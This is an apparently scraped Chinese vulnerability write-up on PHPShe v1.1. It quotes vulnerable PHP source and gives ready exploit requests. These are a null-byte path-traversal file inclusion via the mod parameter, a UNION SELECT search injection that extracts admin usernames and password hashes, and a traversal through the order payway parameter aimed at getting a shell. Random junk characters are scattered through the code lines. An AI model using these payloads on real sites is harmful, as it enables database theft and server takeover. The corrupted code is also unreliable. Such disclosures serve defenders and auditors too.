phpshe v1.1多处SQL注入和文件包含漏洞Getshell

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/*******************************************************/
3 P" M7 n$ S" X/* Phpshe v1.1 Vulnerability
$ \) h; n: F( h7 N  z/* ========================
, ~$ S& m/ u- y4 y/* By: : Kn1f3
( f, y  w# m& K& Y' ~) r/* E-Mail : 681796@qq.com
+ Q' p  n& i* l+ v' W/*******************************************************/
* ^  b  V! [! v' b" h3 z7 O! i0×00 整体大概参数传输
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4 ~$ |- S& b! T//common.php
2 {4 G/ a' G; b. \9 `( m+ i! hif (get_magic_quotes_gpc()) {
) m! P* ]& r, b; [" b* p0 j!empty($_GET) && extract(pe_trim(pe_stripslashes($_GET)), EXTR_PREFIX_ALL, '_g');
# Z. D0 P8 f% J1 z  W!empty($_POST) && extract(pe_trim(pe_stripslashes($_POST)), EXTR_PREFIX_ALL, '_p');
" A5 L& C) W. B, p}
else {
!empty($_GET) && extract(pe_trim($_GET),EXTR_PREFIX_ALL,'_g');
  a+ _, Z2 z6 T0 R3 p!empty($_POST) && extract(pe_trim($_POST),EXTR_PREFIX_ALL,'_p');
8 A9 A, m# Y+ z( U& G* k}
session_start();
8 L! `6 h5 i% a) C" r7 ?!empty($_SESSION) && extract(pe_trim($_SESSION),EXTR_PREFIX_ALL,'_s');
, n8 [/ ^. }' b# o) @! }  V5 r!empty($_COOKIE) && extract(pe_trim(pe_stripslashes($_COOKIE)),EXTR_PREFIX_ALL,'_c');

' p; q/ }. Q* [* G5 Y0×01 包含漏洞

# h6 R$ n0 f' ?$ y! q
! K% {# W5 I/ R+ g& e//首页文件
# R0 @. a- }( {1 {% n<!--?php include('common.php'); $cache_category = cache::get('category'); $cache_category_arr = cache::get('category_arr'); $cache_class = cache::get('class'); $cache_ad = cache::get('ad'); $cache_link = cache::get('link'); $cache_page = cache::get('page'); $web_qq = $cache_setting['web_qq']['setting_value'] ? explode(',', $cache_setting['web_qq']['setting_value']) : array(); $cart_num = pe_login('user') ? $db--->pe_num('cart', array('user_id'=>$_s_user_id)) : (unserialize($_c_cart_list) ? count(unserialize($_c_cart_list)) : 0);
include("{$pe['path_root']}module/{$module}/{$mod}.php");  //$mod可控造成“鸡肋”包含漏洞
$ a' m- K1 R4 C8 G+ z3 a4 x' Mpe_result();
% r+ |6 ]% b) m+ ??>
6 s4 s/ ?7 [% x& S& N) P//common 文件 第15行开始
7 n( O- f. \! X# O( ?# q0 E. ]url路由配置
0 H, H6 ^8 d$ m9 ?/ a! @$module = $mod = $act = 'index';
$mod = $_POST['mod'] ? $_POST['mod'] : ($_GET['mod'] ? $_GET['mod'] : $mod);
6 ]4 [6 N4 D; D5 B2 X. X" @$act = $_POST['act'] ? $_POST['act'] : ($_GET['act'] ? $_GET['act'] : $act);
# a6 P; i: p% `9 J! A; t$ x$id = $_POST['id'] ? $_POST['id'] : ($_GET['id'] ? $_GET['id'] : $id);
//exp：http://127.0.0.1/phpshe_v1.1/index.php?mod=../../robots.txt%00

4 N5 ^6 G( v5 \7 h! q 0×02 搜索注入
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9 b+ L+ j( U6 }; h, a+ _+ b* n4 D3 |<code id="code2">

//product.php文件
. ?' `; |) _, }! m% p1 x: s" w3 qcase 'list':
$category_id = intval($id);
$info = $db->pe_select('category', array('category_id'=>$category_id));
2 q# k6 Q+ @: S0 x5 D4 n# S, h//搜索
- n6 V' X) B3 R" U$ \$sqlwhere = " and `product_state` = 1";
pe_lead('hook/category.hook.php');
: M( f% K1 T1 \& t$ n3 L" b3 x( Uif ($category_id) {
' N+ S1 [5 u$ @* B6 ^* {where .= is_array($category_cidarr = category_cidarr($category_id)) ? " and `category_id` in('".implode("','", $category_cidarr)."')" : " and `category_id` = '{$category_id}'";
) [5 V  B5 h6 A: X! U}
% x4 J- Y9 t- g$_g_keyword && $sqlwhere .= " and `product_name` like '%{$_g_keyword}%'"; //keyword变量未进行有效的sql语句过滤
1 A7 l! {7 |# C, Y5 n2 Cif ($_g_orderby) {
$orderby = explode('_', $_g_orderby);
$sqlwhere .= " order by `product_{$orderby[0]}` {$orderby[1]}";
6 j- }6 c" ^) R% v: T& B}
else {
$sqlwhere .= " order by `product_id` desc";
}
$info_list = $db->pe_selectall('product', $sqlwhere, '*', array(16, $_g_page));
//热卖排行
7 x4 U' t; }7 p) x+ ^$ \9 X$product_hotlist = product_hotlist();
/ ]0 P' X% g3 B, m$ h" H# j5 {4 v//当前路径
$nowpath = category_path($category_id);
1 b5 t* x  o# O% U& ~! T7 r1 g# ^5 R$seo = pe_seo($info['category_name']);
  D$ V0 p5 t  y; _# M/ l- D; binclude(pe_tpl('product_list.html'));
//跟进selectall函数库
" P0 m! F4 Y' Wpublic function pe_selectall($table, $where = '', $field = '*', $limit_page = array())
4 w: E  R8 ^: Q0 U' R1 s4 p{
//处理条件语句
$sqlwhere = $this->_dowhere($where);
4 C) H/ t$ x1 {& S; Rreturn $this->sql_selectall("select {$field} from `".dbpre."{$table}` {$sqlwhere}", $limit_page);
" e" ]9 K  `/ F6 S$ O}
//exp
product/list?keyword=kn1f3'+union+select+1,2,3,4,5,(select+concat(admin_name,0x27,admin_pw,0x27)+from+pe_admin),7,8,9,10,11,12,13,14,15,16,17,18,19 and+'1'='1
8 |$ B: ?) Z# Q1 S+ p

</code>
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0×03 包含漏洞2
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<code id="code3">

//order.php

case 'pay':

$order_id = pe_dbhold($_g_id);

( C( @& J/ W! @0 m( W' g* I# Q$cache_payway = cache::get('payway');

( p" n. J6 i/ o! z3 fforeach($cache_payway as $k => $v) {

; h, q! K( K% R% Q$ c$cache_payway[$k]['payway_config'] = unserialize($cache_payway[$k]['payway_config']);

if ($k == 'bank') {

5 R! N5 k: A/ P& b$cache_payway[$k]['payway_config']['bank_text'] = str_replace(array("\r", "\n", "\t"), '\n', $cache_payway[$k]['payway_config']['bank_text']);

, O3 z6 H% t/ `}

! S. ?2 M. R. g/ A/ s2 g. ]}

, h9 i# B* V7 b. K% H8 v8 e$order = $db->pe_select('order', array('order_id'=>$order_id, 'order_state'=>'notpay'));

# G7 Z3 {3 w# k/ p' |!$order['order_id'] && pe_error('订单号错误...');

1 |+ z, T! @# I, j; Y/ z+ wif (isset($_p_pesubmit)) {

if ($db->pe_update('order', array('order_id'=>$order_id), $_p_info)) {

$info_list = $db->pe_selectall('orderdata', array('order_id'=>$order_id));

foreach ($info_list as $v) {

$order['order_name'] .= "{$v['product_name']};";

}

* }. f' I5 w( ~% l/ zecho '正在为您连接支付网站，请稍后...';

include("{$pe['path_root']}include/plugin/payway/{$_p_info['order_payway']}/order_pay.php");

- H8 F5 S- R4 ^}//当一切准备好的时候就可以进行"鸡肋包含了"

: w: o9 E9 b7 G  U+ Xelse {

/ R5 l2 W7 {  p! Z1 Ope_error('支付错误...');

}

1 P# G9 X5 R+ J, A5 |* _* x}

0 u" E% w% l3 Y2 e! r; Q$seo = pe_seo('选择支付方式');

" C9 k+ A! M4 Z3 k; n$ I5 I, R8 {' W& winclude(pe_tpl('order_pay.html'));

break;

}

//exp：

//http://127.0.0.1/phpshe_v1.1/index.php?mod=order&act=pay&id=1304070001

//info%5Border_payway%5D=alipay/../../../1.txt%00&pesubmit=%E7%AB%8B%E5%8D%B3%E6%94%AF%E4%BB%98</code>